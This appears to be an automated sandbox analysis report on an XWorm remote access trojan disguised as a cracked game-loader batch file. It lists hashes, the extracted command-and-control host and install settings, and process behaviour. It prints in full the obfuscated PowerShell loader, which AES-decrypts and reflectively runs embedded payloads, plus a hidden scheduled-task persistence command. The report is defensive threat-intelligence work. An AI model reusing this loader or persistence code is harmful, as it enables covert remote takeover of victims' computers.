xworm | 94bf91b3fb8d81ca10883351d514dd89c9f953771ec90a2c3571e586c0ece07a

Analysis

max time kernel
146s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
03/03/2025, 19:19

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General

Target

Destiny Loader Cracked.bat
Size

327KB
MD5

d0eef460c098ddfab73bffe09b5576f1
SHA1

72a9d083d85037abf060c027ceb2f4c7d83b8d42
SHA256

94bf91b3fb8d81ca10883351d514dd89c9f953771ec90a2c3571e586c0ece07a
SHA512

eaf4b8a20787685ac516f8c8fa27052df7e8100180cdbb16fdbc1dcdc33ede7623ed1ce1abbd24146bc2dc63c4e55fb36957dc731b005d71fd781e1a1b72e8d3
SSDEEP

6144:fS/P9VWTPTlLWWUY+GVH0I2mjYTNZTNSq78e89aOki5M:YP/2PTlLVUI2mMTTn8e89Ii5M

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

ciad4zftx.localto.net:6536

Mutex

fz5G9hEIprTL3zDO

Attributes

Install_directory
%ProgramData%
install_file
System.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3016-50-0x00000290AF100000-0x00000290AF11A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3016	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4576	powershell.exe
5116	powershell.exe
3016	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4576	powershell.exe
4576	powershell.exe
5116	powershell.exe
5116	powershell.exe
3016	powershell.exe
3016	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeIncreaseQuotaPrivilege	5116	powershell.exe
Token: SeSecurityPrivilege	5116	powershell.exe
Token: SeTakeOwnershipPrivilege	5116	powershell.exe
Token: SeLoadDriverPrivilege	5116	powershell.exe
Token: SeSystemProfilePrivilege	5116	powershell.exe
Token: SeSystemtimePrivilege	5116	powershell.exe
Token: SeProfSingleProcessPrivilege	5116	powershell.exe
Token: SeIncBasePriorityPrivilege	5116	powershell.exe
Token: SeCreatePagefilePrivilege	5116	powershell.exe
Token: SeBackupPrivilege	5116	powershell.exe
Token: SeRestorePrivilege	5116	powershell.exe
Token: SeShutdownPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeSystemEnvironmentPrivilege	5116	powershell.exe
Token: SeRemoteShutdownPrivilege	5116	powershell.exe
Token: SeUndockPrivilege	5116	powershell.exe
Token: SeManageVolumePrivilege	5116	powershell.exe
Token: 33	5116	powershell.exe
Token: 34	5116	powershell.exe
Token: 35	5116	powershell.exe
Token: 36	5116	powershell.exe
Token: SeIncreaseQuotaPrivilege	5116	powershell.exe
Token: SeSecurityPrivilege	5116	powershell.exe
Token: SeTakeOwnershipPrivilege	5116	powershell.exe
Token: SeLoadDriverPrivilege	5116	powershell.exe
Token: SeSystemProfilePrivilege	5116	powershell.exe
Token: SeSystemtimePrivilege	5116	powershell.exe
Token: SeProfSingleProcessPrivilege	5116	powershell.exe
Token: SeIncBasePriorityPrivilege	5116	powershell.exe
Token: SeCreatePagefilePrivilege	5116	powershell.exe
Token: SeBackupPrivilege	5116	powershell.exe
Token: SeRestorePrivilege	5116	powershell.exe
Token: SeShutdownPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeSystemEnvironmentPrivilege	5116	powershell.exe
Token: SeRemoteShutdownPrivilege	5116	powershell.exe
Token: SeUndockPrivilege	5116	powershell.exe
Token: SeManageVolumePrivilege	5116	powershell.exe
Token: 33	5116	powershell.exe
Token: 34	5116	powershell.exe
Token: 35	5116	powershell.exe
Token: 36	5116	powershell.exe
Token: SeIncreaseQuotaPrivilege	5116	powershell.exe
Token: SeSecurityPrivilege	5116	powershell.exe
Token: SeTakeOwnershipPrivilege	5116	powershell.exe
Token: SeLoadDriverPrivilege	5116	powershell.exe
Token: SeSystemProfilePrivilege	5116	powershell.exe
Token: SeSystemtimePrivilege	5116	powershell.exe
Token: SeProfSingleProcessPrivilege	5116	powershell.exe
Token: SeIncBasePriorityPrivilege	5116	powershell.exe
Token: SeCreatePagefilePrivilege	5116	powershell.exe
Token: SeBackupPrivilege	5116	powershell.exe
Token: SeRestorePrivilege	5116	powershell.exe
Token: SeShutdownPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeSystemEnvironmentPrivilege	5116	powershell.exe
Token: SeRemoteShutdownPrivilege	5116	powershell.exe
Token: SeUndockPrivilege	5116	powershell.exe
Token: SeManageVolumePrivilege	5116	powershell.exe
Token: 33	5116	powershell.exe
Token: 34	5116	powershell.exe
Token: 35	5116	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 672 wrote to memory of 4576	672	cmd.exe	78
PID 672 wrote to memory of 4576	672	cmd.exe	78
PID 4576 wrote to memory of 5116	4576	powershell.exe	79
PID 4576 wrote to memory of 5116	4576	powershell.exe	79
PID 4576 wrote to memory of 2416	4576	powershell.exe	82
PID 4576 wrote to memory of 2416	4576	powershell.exe	82
PID 2416 wrote to memory of 4604	2416	WScript.exe	83
PID 2416 wrote to memory of 4604	2416	WScript.exe	83
PID 4604 wrote to memory of 3016	4604	cmd.exe	85
PID 4604 wrote to memory of 3016	4604	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Destiny Loader Cracked.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('St/Wt6vqm9kaTmxnEI7FVwFJ79tdiegvPTsnH2ymwRU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cXqlF3UWhJzCcuDvG48+Og=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rsudL=New-Object System.IO.MemoryStream(,$param_var); $nFnkD=New-Object System.IO.MemoryStream; $wnAvt=New-Object System.IO.Compression.GZipStream($rsudL, [IO.Compression.CompressionMode]::Decompress); $wnAvt.CopyTo($nFnkD); $wnAvt.Dispose(); $rsudL.Dispose(); $nFnkD.Dispose(); $nFnkD.ToArray();}function execute_function($param_var,$param2_var){ $lNmdI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CXjmD=$lNmdI.EntryPoint; $CXjmD.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Destiny Loader Cracked.bat';$iYYFP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Destiny Loader Cracked.bat').Split([Environment]::NewLine);foreach ($DzSDP in $iYYFP) { if ($DzSDP.StartsWith(':: ')) { $HXwqb=$DzSDP.Substring(3); break; }}$payloads_var=[string[]]$HXwqb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_762_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_762.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5116
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_762.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_762.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4604
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('St/Wt6vqm9kaTmxnEI7FVwFJ79tdiegvPTsnH2ymwRU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cXqlF3UWhJzCcuDvG48+Og=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rsudL=New-Object System.IO.MemoryStream(,$param_var); $nFnkD=New-Object System.IO.MemoryStream; $wnAvt=New-Object System.IO.Compression.GZipStream($rsudL, [IO.Compression.CompressionMode]::Decompress); $wnAvt.CopyTo($nFnkD); $wnAvt.Dispose(); $rsudL.Dispose(); $nFnkD.Dispose(); $nFnkD.ToArray();}function execute_function($param_var,$param2_var){ $lNmdI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CXjmD=$lNmdI.EntryPoint; $CXjmD.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_762.bat';$iYYFP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_762.bat').Split([Environment]::NewLine);foreach ($DzSDP in $iYYFP) { if ($DzSDP.StartsWith(':: ')) { $HXwqb=$DzSDP.Substring(3); break; }}$payloads_var=[string[]]$HXwqb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eb15ee5741b379245ca8549cb0d4ecf8

SHA1
3555273945abda3402674aea7a4bff65eb71a783

SHA256
b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636

SHA512
1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jgddvlcp.mcb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_762.bat

Filesize
327KB

MD5
d0eef460c098ddfab73bffe09b5576f1

SHA1
72a9d083d85037abf060c027ceb2f4c7d83b8d42

SHA256
94bf91b3fb8d81ca10883351d514dd89c9f953771ec90a2c3571e586c0ece07a

SHA512
eaf4b8a20787685ac516f8c8fa27052df7e8100180cdbb16fdbc1dcdc33ede7623ed1ce1abbd24146bc2dc63c4e55fb36957dc731b005d71fd781e1a1b72e8d3

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_762.vbs

Filesize
115B

MD5
8de39b6a5c6b7114695d294613984340

SHA1
ac49f8ec4894f26829aef181de6ab2b38b21a1be

SHA256
38479773e3eb6a5cc1c44ff9adc0eea5fcbee68a68a9565c1d260864d87ab9e6

SHA512
23e22edca4d2d26aab22cb497299ac62e165549cb619a119a35743512ce1dd7c2a22da074b40285561c9a57088dd583c1626a24e972fc30c2ce6dbbe77ae522b

Download Submit
memory/3016-50-0x00000290AF100000-0x00000290AF11A000-memory.dmp

Filesize
104KB

Download
memory/4576-12-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/4576-10-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/4576-51-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/4576-9-0x000001863D1B0000-0x000001863D1D2000-memory.dmp

Filesize
136KB

Download
memory/4576-49-0x00007FF9CB0B3000-0x00007FF9CB0B5000-memory.dmp

Filesize
8KB

Download
memory/4576-39-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/4576-14-0x000001863D420000-0x000001863D460000-memory.dmp

Filesize
256KB

Download
memory/4576-13-0x000001863D410000-0x000001863D418000-memory.dmp

Filesize
32KB

Download
memory/4576-0-0x00007FF9CB0B3000-0x00007FF9CB0B5000-memory.dmp

Filesize
8KB

Download
memory/4576-11-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/5116-30-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/5116-27-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/5116-26-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/5116-25-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/5116-16-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download